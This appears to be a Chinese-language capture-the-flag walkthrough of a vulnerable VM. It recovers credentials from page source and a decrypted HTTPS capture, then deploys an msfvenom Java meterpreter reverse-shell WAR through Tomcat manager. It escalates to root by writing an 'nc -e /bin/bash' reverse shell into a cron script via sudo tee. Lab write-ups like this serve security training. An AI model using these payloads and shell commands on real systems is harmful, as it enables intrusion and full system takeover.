赞
踩
目录
这是一个中级难度的靶场,从开始就有IDS进行拦截,CMS系统收集不到有价值的信息,一个一个试走了弯路,多亏在登入页面里面找到了关键的数据包,通过https私钥解密,添加代理才进入后台页面,
win10机器:Burp Suite、Wireshark、Python、JDKCTF编码工具
静态 IP 192.168.110.140
与靶机同网段192.168.110.128
仅主机 192.168.110.131
这个靶机是静态IP,所以可以直接进入端口扫描阶段。
nmap -T4 -A -v 192.168.110.140
很明显大部分端口都开放,可能是有防火墙拦截,我们尝试80,8080端口试试
英文简单介绍了本次事件,看看源码
识别这样的编码看长度,下面进行简单总结:
或者用别人已经写好的CTF编码工具,复制下来直接解码
没有解码成功,我们再一个个试,解码
这次看到了键值对,可能有价值,先放在这。
pgibbons:damnitfeel$goodtobeagang$ta
里面的href更多,我找了半天
找到了使用的框架impresscms,进一步收集
whatweb -v http://192.168.110.140/impresscms
没有找到cms具体的版本,但是找到了服务器Apache,默认部署路径/var/www/html,先在msf上找找有没有可以利用的漏洞
- msfconsole
- searchsploit impresscms
尝试了好几个小时,没有成功,突然想起来之前有个登入页面,刚刚解密的值,可以试试,不行的话,再试试SQLi、密码爆破、逻辑漏洞绕过......
好机会,进来了,submit一下
点开了感觉敏感的文件,什么信息都没有
images/下面找到了四张图片
server-status没有权限
刚刚我们已经进入了后台,现在做进一步信息收集:
这里有三个未读邮件
天啊!我们找到了密钥!!!访问它,自动下载下来了
我们紧接着一个个找,经验丰富的话,会快很多,SSL验证,点进去看看,里面大致描述了
自己拿到红队的数据包,看不明白,存储密码、密钥密码、别名是tomcat
对HTTPS加密不太了解的小伙伴,可以看看这个
我们用Wireshark打开.pcap文件
这些经过加密的数据,我们再怎么找也看不懂,这里先补充一下在JDK下面生成数字签名
假如我们在本地自己生成密钥库
如果我们想要查看它的话
如果我们想导出的话
这样d盘就成功生成.crt
刚刚信息收集的时候我们就只知道tomcat,就输入tomcat
这个端口不是乱填的,是从你刚刚打开的数据包里面找到的
疑似管理后台地址, 找到了请求的地址,访问一下,打不开
证书有问题,用BP添加代理
我们抓到了包,都Forward
成功进入登入窗口
看到这,大家应该都明白刚刚我们为什么访问不进去了,HTTP Basic认证,是采用的明文传输,这样的页面是极其不安全的,我们通过添加BP的代理成功的绕过的浏览器自带的安全检测措施,二个都用tomcat登入试试,进不去,我们在流量包里面进行进行信息收集。
经过长时间的查找,找到了一个突破口
tomcat:Tt\5D8F(#!*u=G)4m7zB(为什么说它可疑呢?它有tomcat 和键值对)
进来了
我们进入后台之后可以利用的点有很多,最简单的就是文件上传,为了提高成功率(可能会被杀死),我这里选择用msf建立反弹连接,拿到root
msfvenom -p java/meterpreter/reverse_tcp lhost=192.168.110.131 lport=4444 -f war -o kali.war
注意:
这台Kali控制机必须和靶机同网段,否则无法连,监听的是仅主机模式的。
解决Kali图形化界面打不开的问题 - 一个李长兴 - 博客园
生成之后,传到本地
和生成的保持一致即可。
- msfconsole
- use exploit/multi/handler
- set payload java/meterpreter/reverse_tcp
- set LHOST 192.168.110.131
- set LPORT 4444
- exploit
在这里上传后,Forward
进入shel, python -c 'import pty;pty.spawn("/bin/bash")',从而获得交互式 shell
我们现在已经进入交互式窗口,接下来就是要提权,整理一下思路;
- 根据操作系统的version找CVE漏洞
- 查看敏感文件 find;ls -a ;
- histroy 之前已经操作过的历史命令,有没有操作访问敏感目录
- sudo -l (这个概率小,可能有的用户权限高)
此路不通,继续找
进入/etc/passwd,找到了root、mysql、backup、muliton 其他的我看不出来
之前我们在信息收集的时候,找到了该网站是Apache部署的,我们去看看里面的配置
进入cat 0d93f85c506c44cdffeb8381b2772fd,php看看
从上面我们可以得知数据库password为空
成功进入数据库,接下来进行信息收集,直接搜索
select user,password from user;
这里最可疑的是milton,长度为32位,md5->32 SHA-1 40 base64->4的倍数
md5虽然说是不可逆的,但是已经有人破解了,成为现成的数据库。
和之前思路一致,找隐藏目录
看看hishory
blumbergh用户我们已经见了很多次,led by Bill Lumbergh,他是本安全公司boss,看起来我们还是要找到他的密码。
夹带法 | 通过隐藏消息的存在来隐藏消息的方法。替换加密法用一个字符替换另一个字符的方法。换位加密法重新排列明文中字母位置的加密法。 |
这里很难讲明白,需要看大量的论文,为什么引入这个点?大家有没有想过之前那几个照片还没有用,密码就在那里面。
先补充几个提取方式:
- wget http://192.168.110.140/images/bill.png
- wget http://192.168.110.140/images/cake.jpg
- wget http://192.168.110.140/images/initech.jpg
- wget http://192.168.110.140/images/milton_beach.jpg
- wget http://192.168.110.140/images/swingline.jpg
- wget http://192.168.110.140/images/troll.gif
- bill.png 发现密码 coffeestains
- su blumbergh 密码 coffeestains
我们又回到之前的思路,CVE、find | ls -a 、history、sudo -l......在hisyory找到了线索
来看看这个脚本
看到定时任务,不难想到建立反弹连接,我们在Redis未授权访问遇到过
tidyup.sh是一个定时任务,NOPASSWD可进入,如果我们在此脚本里面写入反弹连接的话,上钩了成功得到root权限。
很明显,只有root用户才可以修改,还有一个利用点/usr/bin/teeLinux tee命令 | 菜鸟教程
简单来说,tee 命令可将读取标准输入的数据,并将其内容输出成文件,这样就很好盘了,我们把反弹连接的定时任务输入到tidyup.sh文件中,就成功了。
echo "nc -e /bin/bash 192.168.110.128 5555" > shell.txt 用tee 命令写 tidyup.sh
nc -lvvp 5555
cat shell.txt | sudo /usr/bin/tee /usr/share/cleanup/tidyup.sh
cat /usr/share/cleanup/tidyup.sh
看监听窗口:
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。